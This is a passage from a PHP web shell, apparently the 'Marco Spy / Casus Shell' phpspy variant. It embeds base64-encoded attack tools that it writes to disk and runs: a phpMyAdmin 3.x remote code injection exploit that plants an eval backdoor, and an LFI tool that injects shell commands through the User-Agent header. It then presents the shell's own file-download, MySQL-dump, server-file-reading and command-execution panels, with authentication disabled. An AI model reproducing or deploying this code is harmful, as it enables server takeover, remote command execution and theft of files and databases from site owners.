    ICAgICAgICAgICAgICAgICAgICAgfAojICAgICAgICAgICAgIDIwMTEvMTUvMTEvICAgICAgICAg
    ICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAoj
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRoMyBNTUEgIHwKPT09PT09PT09PT09
    PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KPz4=\';
     
    $file = fopen("surum.php" ,"w+");
    $write = fwrite ($file ,base64_decode($asdas));
    fclose($file);
       echo "<iframe src=surum.php width=100% height=640 frameborder=0></iframe> ";
    ?>
    <?
     
       }
        if( $red == "pma" ) {
     
    ?>
    <?
    $asdas1 = \'PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD1yZWQgYm90dG9tTWFyZ2luPTAg
    YmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1h
    cmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+Cjw/cGhwIC8qCiMgRXhwbG9pdCBUaXRsZTogcGhw
    TXlBZG1pbiAzLnggU3dla2V5IFJlbW90ZSBDb2RlIEluamVjdGlvbiBFeHBsb2l0CiMgRGF0ZTog
    MjAxMS0wNy0wOQojIEF1dGhvcjogTWFuZ28gb2YgaGEueHhvci5zZQojIFZlcnNpb246IHBocE15
    QWRtaW4gPCAzLjMuMTAuMiB8fCBwaHBNeUFkbWluIDwgMy40LjMuMQojIENWRSA6IENWRS0yMDEx
    LTI1MDUsIENWRS0yMDExLTI1MDYKIyBBZHZpc29yeTogaHR0cDovL3d3dy54eG9yLnNlL2Fkdmlz
    b3JpZXMvcGhwTXlBZG1pbl8zLnhfTXVsdGlwbGVfUmVtb3RlX0NvZGVfRXhlY3V0aW9ucy50eHQK
    IyBEZXRhaWxzOiBodHRwOi8vaGEueHhvci5zZS8yMDExLzA3L3BocG15YWRtaW4tM3gtbXVsdGlw
    bGUtcmVtb3RlLWNvZGUuaHRtbAoqLwplY2hvIHBocF9zYXBpX25hbWUoKSE9PSdjbGknPyc8cHJl
    Pic6Jyc7Pz4KICAgICAgICAgICAgICAuCiAgICAgICAsICAgICAgKVwgICAgIC4KICAuICAsLykg
    ICAsIC8gICkgLCAgKVwKICApXCggIC8pLyggKF9fKCAvKCAvICApICAgICAgICAgIF9fICAgICAg
    X18gICAgICAgICAgICAgIF9fX19fX19fICAgICAgICBfXyAgICAgICAgICAgICAgICAgICAgX18K
    IC8gIFwgICggICApfCAgfCkgIFwgIC8gICAgICAgICAgfCAgfFwgIC98ICB8ICAgICAgICAgICAg
    fCAgfCAgfCAgfCAgICAgIHwgIHwgICAgICAgICAgICAgICAgICAoX18pCiggIF9fX19fXyAvIHwg
    IHxfX19fXyggIF9fX19fXyAgIHwgIHwgXC8gfCAgfCAgX18gICAgX18gIHwgIHxfX3wgIHwgICBf
    X198ICB8ICBfXyBfX19fX19fX19fXyAgIF9fICAgX18gX19fX18KIFx8ICB8IFwgIFwgfCAgfCAg
    fCAgfCl8ICB8IFwgIFwgfCAgfCAgICB8ICB8IHwgIHwgIHwgIHwgfCAgfCAgfCAgfCAvICAvIHwg
    IHwgfCAgfCAgfCAgfCAgfCAgfCB8ICB8IHwgIHwgIHwgIHwKICB8ICB8Xy9fXy8gfF9ffCAgfF9f
    fCB8ICB8Xy9fXy8gfF9ffCAgICB8X198IHxfX3xfX3wgIHwgfF9ffCBbXVtdfFtdX19bXXxbXVtd
    fF9bXSAgfF9bXVtdfF9bXSBbXVtdW11fX3wgIHxfX3wKPT18X198PT09PT09PT09PT09PT09PT18
    X198PT09PT09PT09PT09PT09PT09PT09PT09PXxfX3w9PT09PT1bXT09PT1bXVtdPXxbXXxbXT1b
    XT09PVtdPT1bXT1bXT09PVtdPT09PT09PT09PT09PT0gICAKICAgcGhwTXlBZG1pbiA8IDMuMy4x
    MC4yIHx8IHBocE15QWRtaW4gPCAzLjQuMy4xICAgICAgICAgICAgICBbXVtdICAgW10gICBbXVtd
    ICBbXSAgIFtdICBbXSBbXSAgIFtdCiAgIFJlbW90ZSBDb2RlIEluamVjdGlvbiAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgW10gICAgW11bXSAgW10gICAgW10gICBbXSAgW10g
    W10gICBbXQogICBodHRwOi8vaGEueHhvci5zZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgIFtdW10gW10gIFtdIFtdICAgIFtdW10gIFtdW10gIFtdICAgW10KICAgICBf
    ICAgXyAgX19fIF9fIF9fX18gX18gX19fICBfX18gICAgICAKICAgIHwgfC18IHx8IF8gfFwgICAv
    XCAgIC98IF8gfHwgICApICAgICAKICAgIHxffC18X3x8X3xffC9fLl9cL18uX1x8X19ffHxffF9c
    ICAgICAKICBfX18gIF9fXyAgX19fIF8gIF8gIF9fXyAgICAgX19fIF9fIF9fIAogKCAgPCB8IFtf
    IC8gIC98IHx8IHx8ICAgKShfKXwgICB8XCB8IC8KICA+X18pfF9bXyBcX19cfF9fX198fF98X1x8
    X3wgfF98ICB8X3wKIApVc2UgcmVzcG9uc2libHkuCiAKPD9waHAgZWNobyBwaHBfc2FwaV9uYW1l
    KCkhPT0nY2xpJz8nPC9wcmU+JzonJzsKIAppZihwaHBfc2FwaV9uYW1lKCk9PT0nY2xpJyl7CiAg
    ICBpZighaXNzZXQoJGFyZ3ZbMV0pKXsKICAgICAgICBvdXRwdXQoIiAgIFVzYWdlXG4gICAgIi4k
    YXJndlswXS4iIGh0dHA6Ly9leGFtcGxlLmNvbS9waHBNeUFkbWluLTMuMy45LjIiKTsKICAgICAg
    ICBraWxsbWUoKTsKICAgIH0KICAgICRwbWF1cmwgPSAkYXJndlsxXTsKfWVsc2V7CiAgICAkcG1h
    dXJsID0gaXNzZXQoJF9SRVFVRVNUWyd1cmwnXSk/JF9SRVFVRVNUWyd1cmwnXTonJzsKfQokY29k
    ZSAgID0gJ2ZvcmVhY2goJF9HRVQgYXMgJGs9PiR2KWlmKCRrPT09ImV2YWwiKWV2YWwoJHYpOyc7
    CiRjb29raWUgPSBudWxsOwokdG9rZW4gID0gbnVsbDsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnY3Vy
    bF9pbml0JykpewogICAgb3V0cHV0KCdbIV0gRmF0YWwgZXJyb3IuIE5lZWQgY1VSTCEnKTsKICAg
    IGtpbGxtZSgpOwp9CiRjaCAgICAgPSBjdXJsX2luaXQoKTsKJGRlYnVnICA9IDA7CmlmKHBocF9z
    YXBpX25hbWUoKSE9PSdjbGknKXsKPz4KPGZvcm0gbWV0aG9kPXBvc3Q+ClVSTDogPGlucHV0IG5h
    bWU9dXJsIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBtYXVybCk7Pz4iPiBF
    eGFtcGxlOiBodHRwOi8vbG9jYWxob3N0OjgwODAvcGhwTXlBZG1pbi0zLjMuOS4yPGJyLz4KPGlu
    cHV0IG5hbWU9c3VibWl0IHR5cGU9c3VibWl0IHZhbHVlPSYjOTgyOTs+CjwvZm9ybT4KPHByZT4K
    PD9waHAKaWYoIWlzc2V0KCRfUkVRVUVTVFsnc3VibWl0J10pKWtpbGxtZSh0cnVlKTsKfQogCm91
    dHB1dCgiW2ldIFJ1bm5pbmcuLi4iKTsKIAovLyBTdGFydCBhIHNlc3Npb24gYW5kIGdldCBhIHRv
    a2VuCmN1cmxfc2V0b3B0X2FycmF5KCRjaCwgYXJyYXkoCiAgICBDVVJMT1BUX1VSTCA9PiAkcG1h
    dXJsLicvc2V0dXAvaW5kZXgucGhwJywKICAgIENVUkxPUFRfSEVBREVSID0+IDEsCiAgICBDVVJM
    T1BUX1JFVFVSTlRSQU5TRkVSID0+IDEsCiAgICBDVVJMT1BUX1RJTUVPVVQgPT4gNCwKICAgIENV
    UkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsCiAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NU
    ID0+IGZhbHNlCikpOwpvdXRwdXQoIlsqXSBDb250YWN0aW5nIHNlcnZlciB0byByZXRyaXZlIHNl
    c3Npb24gY29va2llIGFuZCB0b2tlbi4iKTsKIAokcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7Cmlm
    KDQwNCA9PSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpKXsKICAgIG91dHB1
    dCgiWyFdIEZhaWwuICRwbWF1cmwvc2V0dXAvaW5kZXgucGhwIHJldHVybmVkIDQwNC4gVGhlIGhv
    c3QgaXMgbm90IHZ1bG5lcmFibGUgb3IgdGhlcmUgaXMgYSBwcm9ibGVtIHdpdGggdGhlIHN1cHBs
    aWVkIHVybC4iKTsKICAgIGtpbGxtZSgpOwp9CmlmKCEkcmVzdWx0KXsKICAgIG91dHB1dCgiWyFd
    IGNVUkwgZXJyb3I6Ii5jdXJsX2Vycm9yKCRjaCkpOwogICAga2lsbG1lKCk7Cn0KaWYoZmFsc2Ug
    IT09IHN0cnBvcygkcmVzdWx0LCAnQ2Fubm90IGxvYWQgb3Igc2F2ZSBjb25maWd1cmF0aW9uJykp
    ewogICAgb3V0cHV0KCJbIV0gRmFpbC4gSG9zdCBub3QgdnVsbmVyYWJsZS4gV2ViIHNlcnZlciB3
    cml0YWJsZSBmb2xkZXIgJHBtYXVybC9jb25maWcvIGRvZXMgbm90IGV4c2lzdC4iKTsKICAgIGtp
    bGxtZSgpOwp9CiAKLy8gRXh0cmFjdCBjb29raWUKcHJlZ19tYXRjaCgnL3BocE15QWRtaW49KFte
    O10rKS8nLCAkcmVzdWx0LCAkbWF0Y2hlcyk7CiRjb29raWUgPSAkbWF0Y2hlc1sxXTsKb3V0cHV0
    KCJbaV0gQ29va2llOiIuJGNvb2tpZSk7Ci8vIEV4dHJhY3QgdG9rZW4KcHJlZ19tYXRjaCgnLyh0
    b2tlbj18dG9rZW4iIHZhbHVlPSIpKFswLTlhLWZdezMyfSkvJywgJHJlc3VsdCwgJG1hdGNoZXMp
    OwokdG9rZW4gPSAkbWF0Y2hlc1syXTsKb3V0cHV0KCJbaV0gVG9rZW46Ii4kdG9rZW4pOwogCi8v
    IFBvaXNvbiBfU0VTU0lPTiB2YXJpYWJsZQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAk
    cG1hdXJsLicvP19TRVNTSU9OW0NvbmZpZ0ZpbGVdW1NlcnZlcnNdWyovJy51cmxlbmNvZGUoJGNv
    ZGUpLicvKl1bcG9ydF09MCZzZXNzaW9uX3RvX3Vuc2V0PXgmdG9rZW49Jy4kdG9rZW4pOwpjdXJs
    X3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFLCAncGhwTXlBZG1pbj0nLiRjb29raWUpOwpvdXRw
    dXQoIlsqXSBDb250YWN0aW5nIHNlcnZlciB0byBpbmplY3QgY29kZSBpbnRvIHRoZSBfU0VTU0lP
    TltDb25maWdGaWxlXVtTZXJ2ZXJzXSBhcnJheS4iKTsKaWYoISRyZXN1bHQgPSBjdXJsX2V4ZWMo
    JGNoKSl7CiAgICBvdXRwdXQoIlshXSBjVVJMIGVycm9yOiIuY3VybF9lcnJvcigkY2gpKTsKICAg
    IGtpbGxtZSgpOwp9CiAKLy9lY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlc3VsdCxFTlRfUVVPVEVT
    KTsKIAovLyBTYXZlIGZpbGUKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHBtYXVybC4n
    L3NldHVwL2NvbmZpZy5waHAnKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwpj
    dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJ3N1Ym1pdF9zYXZlPVNhdmUmdG9r
    ZW49Jy4kdG9rZW4pOwpvdXRwdXQoIlsqXSBDb250YWN0aW5nIHNlcnZlciB0byBtYWtlIGl0IHNh
    dmUgdGhlIGluamVjdGVkIGNvZGUgdG8gYSBmaWxlLiIpOwppZighJHJlc3VsdCA9IGN1cmxfZXhl
    YygkY2gpKXsKICAgIG91dHB1dCgiWyFdIGNVUkwgZXJyb3I6Ii5jdXJsX2Vycm9yKCRjaCkpOwog
    ICAga2lsbG1lKCk7Cn0KIAovL2VjaG8gaHRtbHNwZWNpYWxjaGFycygkcmVzdWx0LEVOVF9RVU9U
    RVMpOwogCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRwbWF1cmwuJy9jb25maWcvY29u
    ZmlnLmluYy5waHA/ZXZhbD1lY2hvJTIwbWQ1KDEyMyk7Jyk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VS
    TE9QVF9QT1NULCAwKTsKb3V0cHV0KCJbKl0gQ29udGFjdGluZyBzZXJ2ZXIgdG8gdGVzdCBpZiB0
    aGUgaW5qZWN0ZWQgY29kZSBleGVjdXRlcy4iKTsKaWYoISRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNo
    KSl7CiAgICBvdXRwdXQoIlshXSBjVVJMIGVycm9yOiIuY3VybF9lcnJvcigkY2gpKTsKICAgIGtp
    bGxtZSgpOwp9CmlmKHByZWdfbWF0Y2goJy8yMDJjYjk2MmFjNTkwNzViOTY0YjA3MTUyZDIzNGI3
    MC8nLCAkcmVzdWx0KSl7CiAgICBvdXRwdXQoIlshXSBDb2RlIGluamVjdGlvbiBzdWNjZXNzZnVs
    bC4gVGhpcyBpbnN0YW5jZSBvZiBwaHBNeUFkbWluIGlzIHZ1bG5lcmFibGUhIik7CiAgICBvdXRw
    dXQoIlsrXSBVc2UgeW91ciBicm93c2VyIHRvIGV4ZWN1dGUgUEhQIGNvZGUgbGlrZSB0aGlzICRw
    bWF1cmwvY29uZmlnL2NvbmZpZy5pbmMucGhwP2V2YWw9ZWNobyUyMCd0ZXN0JzsiKTsKfWVsc2V7
    CiAgICBvdXRwdXQoIlshXSBDb2RlIGluamVjdGlvbiBmYWlsZWQuIFRoaXMgaW5zdGFuY2Ugb2Yg
    cGhwTXlBZG1pbiBkb2VzIG5vdCBhcGVhciB0byBiZSB2dWxuZXJhYmxlLiIpOwp9CiAKIApjdXJs
    X2Nsb3NlKCRjaCk7CiAKZnVuY3Rpb24gb3V0cHV0KCRtc2cpewogICAgZWNobyBwaHBfc2FwaV9u
    YW1lKCkhPT0nY2xpJz9odG1sc3BlY2lhbGNoYXJzKCIkbXNnXG4iLEVOVF9RVU9URVMpOiIkbXNn
    XG4iOwogICAgZmx1c2goKTsKfQogCmZ1bmN0aW9uIGtpbGxtZSgpewogICAgb3V0cHV0KCJbKl0g
    RXhpdGluZy4uLiIpOwogICAgZWNobyBwaHBfc2FwaV9uYW1lKCkhPT0nY2xpJz8nPHByZT4nOicn
    OwogICAgZGllKCk7Cn0KIAplY2hvIHBocF9zYXBpX25hbWUoKSE9PSdjbGknPyc8cHJlPic6Jyc7
    Pz4=\';
     
    $file = fopen("pmadmin.php" ,"w+");
    $write = fwrite ($file ,base64_decode($asdas1));
    fclose($file);
       echo "<iframe src=pmadmin.php width=100% height=640 frameborder=0></iframe> ";
    ?>
    <?
     
       }
        if( $red == "lfirce" ) {
     
    ?>
    <style>
    body {
        background: #000;
        color: #CFCFCF;
        font-family: \'Times New Roman\';
    }
    input {
        border: 1px solid #000;
        background: #000;
        color: #CFCFCF;
    }
    pre {
        font-size: 10pt;
    }
    hr {
        width: 100%;
    }
    td {
        border: 1px outset #454545;
        background: #454545;
        font-size: 9pt;
        padding: 2px;
        padding-left: 5px;
        font-family: verdana;
    }
    </style>
    <title>###[ LFI Remote Command Execution By XTERM  -E-X-P-L-O-R-E- -C-R-E-W- w3 4r3 th3 4nk3r t34m ]###</title>
    <body>
     
    <table border=0 width=860 align=center><tr><Td><center><p style="font-size: 18pt;"><b>- E - X - P - L - O - R - E -   - C - R - E - W -</b><br>
    - = = = w3 4r3 th3 4nk3r t34m = = = -
     
    <B>=[ LFI Remote Command Execution ]=</b></td></tr></center>
    </table>
    <?php
    if($_POST[\'injek\']):
        $sasaran= str_replace("http://","",$_POST[\'host\']);
        $sp     = explode("/",$sasaran);
        $victim    = $sp[0];
        $port    = 80;
        $inject    = str_replace($victim,"",$sasaran);
        $command  = "XHOSTNAME<?php echo system(\'hostname;echo  ;\'); ?>XHOSTNAME";
        $command .= "XSIP<?php echo \$_SERVER[\'SERVER_ADDR\']; ?>XSIP";
        $command .= "XUNAME<?php echo system(\'uname -a;echo  ;\'); ?>XUNAME";
        $command .= "XUSERID<?php echo system(\'id;echo  ;\'); ?>XUSERID";
        $command .= "XPWD<?php echo system(\'pwd;echo  ;\'); ?>XPWD";
        $command .= "XPHP<?php echo phpversion(); ?>XPHP";
        if($_POST[\'cwd\']){
        $command .= "XCWD<?php chdir(\'".$_POST[\'cwd\']."\'); ?>XCWD";
        }
        $command .= "EXPLORE<pre><?php echo system(\'".$_POST[\'cmd\']."; echo    ; exit;\'); ?></pre>EXPLORE";
       
        if(eregi(":",$victim)){
            $vp = explode(":",$victim);
            $victim = $vp[0];
            $port    = $vp[1];
        }
     
        $sock = fsockopen($victim,$port,$errno,$errstr,30);
        if ($sock) {
            $get  = "GET ".$inject." HTTP/1.1\r\n".
                    "Host: ".$victim."\r\n".
                    "Accept: */*\r\n".
                    "User-Agent: Mozilla/5.0 ".$command."\r\n".
                    "Connection: Close\r\n\r\n";
            fputs($sock,$get);        
            while (!feof($sock)) {
                $output .= trim(fgets($sock, 3600000))."\n";            
            }
            fclose($sock);
        }
        $hostp     = explode("XHOSTNAME",$output); $hostname = $hostp[1];
        $ipp    = explode("XSIP",$output); $ip = $ipp[1];
        $unamep    = explode("XUNAME",$output); $uname = $unamep[1];
        $userp    = explode("XUSERID",$output); $userid = $userp[1];
        $currp    = explode("XPWD",$output); $current = $currp[1];
        $writes    = @is_writable($current);
        $phpvp    = explode("XPHP",$output); $phpversion = $phpvp[1];
        $hasil    = explode("EXPLORE",$output); $return = $hasil[1];
       
       
    endif;
    ?>
    <form action=\'<?php echo $_SERVER[\'PHP_SELF\'] ?>\' method=\'post\'>
    <table border=0 align=center width=860>
    <?php if($_POST[\'injek\']){ ?>
    <tr>
        <td colspan=3> </td>
    </tr>
    <tr><Td><b>Hostname</b> </td><td>:</td>
        <td><?php echo $victim ?></td>
    </tr>
    <tr><Td><b>Nodename</b> </td><td>:</td>
        <td><?php echo $hostname ?></td>
    </tr>
    <tr><Td><b>IP Address</b> </td><td>:</td>
        <td><?php echo $ip ?></td>
    </tr>
    <tr><Td><b>Uname -a</b></td><td>:</td>
        <td><?php echo $uname ?></td>
    </tr>
    <tr><Td><b>User ID</b></td><td>:</td>
        <td><?php echo $userid ?></td>
    </tr>
    <tr><Td><b>Script Path</b></td><td>:</td>
        <td><?php echo $current; if($writes){ echo "<b>Writeable!</b>"; } ?></td>
    </tr>
    <tr><Td><b>PHP Version</b></td><td>:</td>
        <td><?php echo $phpversion ?></td>
    </tr>
    <?php } ?>
    <tr>
        <td colspan=3> </td>
    </tr>
    <tr><Td width=130><b>Victim </b></td><td>:</td>
        <td><input type=text size=110 value=\'<?php echo $_POST[\'host\'] ?>\' name=host /></td>
    </tr>
    <?php if($_POST[\'injek\']){ ?>
    <tr><Td width=130><b>Work Directory</b></td><td>:</td>
        <td><input type=text size=110 value=\'<?php echo (($_POST[\'cwd\'])?$_POST[\'cwd\']:$current); ?>\' name=cwd /></td>
    </tr>
    <?php } ?>
    <tr><Td><b>Command </b></td><td>:</td>
        <Td><input type=text size=110 value=\'<?php echo $_POST[\'cmd\']; ?>\' name=cmd /></td>
    </tr>
    <tr><td colspan=2> </td><td><input type=submit name=injek value="Execute!" /></td></tr>
    <tr>
        <td colspan=3> </td>
    </tr>
    </table>
     
    <?php
    if($_POST[\'injek\']):    
        echo "<table border=0 width=860 align=center><tr><Td> <pre>".$hasil[1]."</pre></td></tr></table>";
    endif;
    echo "</form>";
    echo "<PRE style=\'text-align: center; width: 100%; color: #454545\'>###[ LFI Remote Command Execution By XTERM  -E-X-P-L-O-R-E- -C-R-E-W- w3 4r3 th3 4nk3r t34m ]###</pre>";
    exit();
    ?>
    <?
     
       }
     
     
    ?>






<?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(\' \', microtime());
$starttime = $mtime[1] + $mtime[0];
define(\'SA_ROOT\', str_replace(\'\\\', \'/\', dirname(__FILE__)).\'/\');
//define(\'IS_WIN\', strstr(PHP_OS, \'WIN\') ? 1 : 0 );
define(\'IS_WIN\', DIRECTORY_SEPARATOR == \'\\\');
define(\'IS_COM\', class_exists(\'COM\') ? 1 : 0 );
define(\'IS_GPC\', get_magic_quotes_gpc());
$dis_func = get_cfg_var(\'disable_functions\');
define(\'IS_PHPINFO\', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);

foreach(array(\'_GET\',\'_POST\') as $_request) {
	foreach($$_request as $_key => $_value) {
		if ($_key{0} != \'_\') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

/*===================== ||-&#1028;+&#1092;+| =====================*/
$admin = array();
// -|+&#1105;-&#1096;-&#1082;|#-&#1099;-&#1097;+&#1076;, true +&#1082;-&#1096;-&#1082;-&#1097;+&#1076;, false +&#1082;+#+++ +&#1099;.--|&#1094;-&#1073;-&#1102;+&#1028;+|-&#1079;
$admin[\'check\'] = 0;
// +&#1095;| -&#1096;-&#1082;|#-&#1099;-&#1097;+&#1076;,|&#1099;-|+-||-+|#-&#1099;
$admin[\'pass\']  = \'angel\';

//+&#1095;- |+ cookie +&#1118;+|+|+&#1079;+-|+-&#1090;-&#1082;|&#1108;, +&#1028;||-+#++ |&#1075;, |&#1099;-|+---|&#1094;#&#1092;-+, +&#1105;+&#1028;|&#1099;#&#1075;|+-&#1084;+-
// cookie |#+|
$admin[\'cookiepre\'] = \'\';
// cookie +&#1118;+|+&#1028;
$admin[\'cookiedomain\'] = \'\';
// cookie +&#1118;+|-++|
$admin[\'cookiepath\'] = \'/\';
// cookie +--&#1079;|+
$admin[\'cookielife\'] = 86400;
/*===================== +&#1092;+|+&#1089;-  =====================*/

if ($charset == \'utf8\') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == \'big5\') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == \'gbk\') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == \'latin1\') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER[\'PHP_SELF\'] ? $_SERVER[\'PHP_SELF\'] : $_SERVER[\'SCRIPT_NAME\'];
$timestamp = time();

/*===================== +&#1101;+|-&#1097;+&#1076; =====================*/
if ($action == "logout") {
	scookie(\'phpspypass\', \'\', -86400 * 365);
	p(\'<meta http-equiv="refresh" content="1;URL=\'.$self.\'">\');
	p(\'<a style="font:12px Verdana" href="\'.$self.\'">Success</a>\');
	exit;
}
if($admin[\'check\']) {
	if ($doing == \'login\') {
		if ($admin[\'pass\'] == $password) {
			scookie(\'phpspypass\', $password);
			p(\'<meta http-equiv="refresh" content="1;URL=\'.$self.\'">\');
			p(\'<a style="font:12px Verdana" href="\'.$self.\'">Success</a>\');
			exit;
		}
	}
	if ($_COOKIE[\'phpspypass\']) {
		if ($_COOKIE[\'phpspypass\'] != $admin[\'pass\']) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
/*===================== -&#1097;+&#1076;+&#1089;-  =====================*/

$errmsg = \'\';

// #&#1097;+|PHPINFO
if ($action == \'phpinfo\') {
	if (IS_PHPINFO) {
		phpinfo();
	} else {
		$errmsg = \'phpinfo() function has non-permissible\';
	}
}

// --+++-+ 
if ($doing == \'downfile\' && $thefile) {
	if (!@file_exists($thefile)) {
		$errmsg = \'The file you want Downloadable was nonexistent\';
	} else {
		$fileinfo = pathinfo($thefile);
		header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
		header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
		header(\'Content-Length: \'.filesize($thefile));
		@readfile($thefile);
		exit;
	}
}

// +#++--++#++|- +|+&#1090;
if ($doing == \'backupmysql\' && !$saveasfile) {
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
	$table = array_flip($table);
	$result = q("SHOW tables");
	if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
	$filename = basename($_SERVER[\'HTTP_HOST\'].\'_MySQL.sql\');
	header(\'Content-type: application/unknown\');
	header(\'Content-Disposition: attachment; filename=\'.$filename);
	$mysqldata = \'\';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata .= sqldumptable($currow[0]);
		}
	}
	mysql_close();
	exit;
}

// -&#1080;| MYSQL--+++-+ 
if($doing==\'mysqldown\'){
	if (!$dbname) {
		$errmsg = \'Please input dbname\';
	} else {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		if (!file_exists($mysqldlfile)) {
			$errmsg = \'The file you want Downloadable was nonexistent\';
		} else {
			$result = q("select load_file(\'$mysqldlfile\');");
			if(!$result){
				q("DROP TABLE IF EXISTS tmp_angel;");
				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
				//+|-#+&#1092;|-+|#&#1101;-+++|-,##|&#1090;|&#1038;-+|-+&#1073;+++&#1101;+&#1028;# |&#1084;__angel_1111111111_eof__|-+-+ -##+-&#1098;+ |-|&#1097;+&#1038;
				q("LOAD DATA LOCAL INFILE \'".addslashes($mysqldlfile)."\' INTO TABLE tmp_angel FIELDS TERMINATED BY \'__angel_{$timestamp}_eof__\' ESCAPED BY \'\' LINES TERMINATED BY \'__angel_{$timestamp}_eof__\';");
				$result = q("select content from tmp_angel");
				q("DROP TABLE tmp_angel");
			}
			$row = @mysql_fetch_array($result);
			if (!$row) {
				$errmsg = \'Load file failed \'.mysql_error();
			} else {
				$fileinfo = pathinfo($mysqldlfile);
				header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
				header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
				header("Accept-Length: ".strlen($row[0]));
				echo $row[0];
				exit;
			}
		}
	}
}

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace(\'.\',\'\',\'Marco Pviv 9 | Casus Shell\');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px \'Courier New\', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != \'chkall\')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$(\'goaction\').action.value=act;
	$(\'goaction\').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><a href="m4rc0-security.blogspot.com" target="_blank"><?php echo str_replace(\'.\',\'\',\'M.a.r.c.o.S.p.y\');?> Ver: 2012 </a></span><?php echo $_SERVER[\'HTTP_HOST\'];?> (<?php echo gethostbyname($_SERVER[\'SERVER_NAME\']);?>)</td>
	</tr>
	<tr class="alt1">
		<td><span style="float:right;">Safe Mode:<?php echo getcfg(\'safe_mode\');?></span>
			<a href="javascript:goaction(\'logout\');"><FONT FACE="tahoma" color="#999999">    <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">CIKIS</a> |
			<a href="javascript:goaction(\'file\');"><FONT FACE="tahoma" color="#999999">    <right<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">File Manager</a> |
			<a href="javascript:goaction(\'sqladmin\');"><FONT FACE="tahoma" color="#999999">    <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">MySQL Manager</a> |
			<a href="javascript:goaction(\'sqlfile\');"><FONT FACE="tahoma" color="#999999">    <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">MySQL Upload &amp; Download</a> |
			<a href="javascript:goaction(\'shell\');"><FONT FACE="tahoma" color="#999999">    <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Komut CALISTIR</a> |
			<a href="javascript:goaction(\'phpenv\');"><FONT FACE="tahoma" color="#999999">    <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">PHP Variable</a> |
